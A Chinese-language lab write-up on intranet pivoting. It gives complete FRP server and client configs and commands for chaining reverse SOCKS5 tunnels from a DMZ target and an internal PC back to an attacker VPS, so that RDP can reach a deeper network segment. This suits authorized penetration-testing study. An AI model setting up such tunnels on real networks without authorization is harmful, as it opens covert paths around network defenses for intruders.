[内网渗透]FRP代理链

使用FRP,建立多层代理链,突破内网限制

一、实验环境

  • 环境一
    tuopu

  • 环境二
    tuopu2

环境一:DMZ 区的靶机运行 Frpc1 连接 VPS,同时运行 Frps2,内网 A 的 PC1 运行 Frpc2 连接靶机
环境二:DMZ 区的靶机运行 Frpc1 连接 VPS,内网 A 的 PC1 运行 Frps2,同时运行 Frpc2 连接本机

二、实验步骤

环境一

  1. VPS 上启动 Frps1

    1
    Frps1.exe -c frps1.ini

    frps1.ini 配置如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    [common]
    bind_addr = 0.0.0.0
    # 监听 7000 端口
    bind_port = 7000
    # 验证凭据,服务端和客户端的凭据⼀样
    auth_token = 123456789
    # 日志文件
    log_file = ./frps.log
    log_level = info
    log_max_days = 3
    # 允许端口
    allow_ports = 1080
    # 连接池上限
    max_pool_count = 50
  2. DMZ 区服务器上启动 Frpc1,连接 VPS [192.168.10.16(模拟公网)]

    1
    Frpc1.exe -c frpc1.ini

frpc1.ini 配置如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[common]
server_addr = 192.168.10.16
server_port = 7000
auth_token = 123456789
# 通信内容加密传输,防⽌流量被拦截
use_encryption = true
# 传输内容进⾏压缩,有效减⼩传输的⽹络流量,加快流量转发速度,但会额外消耗⼀些CPU资源
use_compression = true

[plugin_socks5]
type = tcp
remote_port = 1080
plugin = socks5
# 连接账密(可不带此参数)
plugin_user = abc
plugin_passwd = abc
  1. DMZ 区服务器上启动 Frps2,作为第二层代理链的 Server

    frps2.ini 配置与 VPS 的 frps1.ini 配置相同,根据实际网络环境选择监听端口

  2. 在内网A的 PC1 上启动 Frpc2,连接 DMZ 区服务器[192.168.20.10]

    frpc2.ini 配置与 DMZ 的 frpc1.ini 配置相同,根据实际网络环境选择连接端口

    返回以下信息,说明连接成功

    1
    2
    3
    2020/11/07 22:33:13 [I] [service.go:288] [01608f2e6713a1e6] login to server success, get run id [01608f2e6713a1e6], server udp port [0]
    2020/11/07 22:33:13 [I] [proxy_manager.go:144] [01608f2e6713a1e6] proxy added: [plugin_socks5]
    2020/11/07 22:33:13 [I] [control.go:180] [01608f2e6713a1e6] [plugin_socks5] start proxy success
  1. 在攻击机配置 Proxifier 的代理链

    daili

环境二

  1. 同环境一

  2. 同环境一

  3. 在内网 A 的 PC1 运行 Frps2,frps2.ini 配置如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    [common]
    bind_addr = 0.0.0.0
    bind_port = 7000
    log_file = ./frps.log
    log_level = info
    log_max_days = 3
    auth_token = 123456789
    allow_ports = 1081
    max_pool_count = 50
  4. 在内网 A 的 PC1 运行 Frpc2,frpc2.ini 配置如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    [common]
    server_addr = 192.168.20.11
    server_port = 7000
    auth_token = 123456789
    use_encryption = true
    use_compression = true

    [plugin_socks5]
    type = tcp
    remote_port = 1081
    plugin = socks5
    plugin_user = abc
    plugin_passwd = abc
  5. 在攻击机配置 Proxifier 的代理链

    与环境一不同,将第二层代理由 192.168.20.10:1081 改为 192.168.20.11:1081

三、实验结果

两种建立代理链的方式均可从攻击机使用远程桌面登录内网 B 的 PC2

rdp2

四、难点总结

Q:Windows Server 2003,Windows XP 无法启动 FRP 怎么办?

A:高版本 GO语言不支持 2003 和 XP 系统,使用低版本的 FRP,实测 frp v0.24 可用

Q:如何探测端口连通性?

A:此处应有下一篇文章的跳转链接

Q:如何检测二层代理可用性?

A1:netstat -anop tcp 查看链接

A2:扫描第二层代理能通而第一层无法访问的主机端口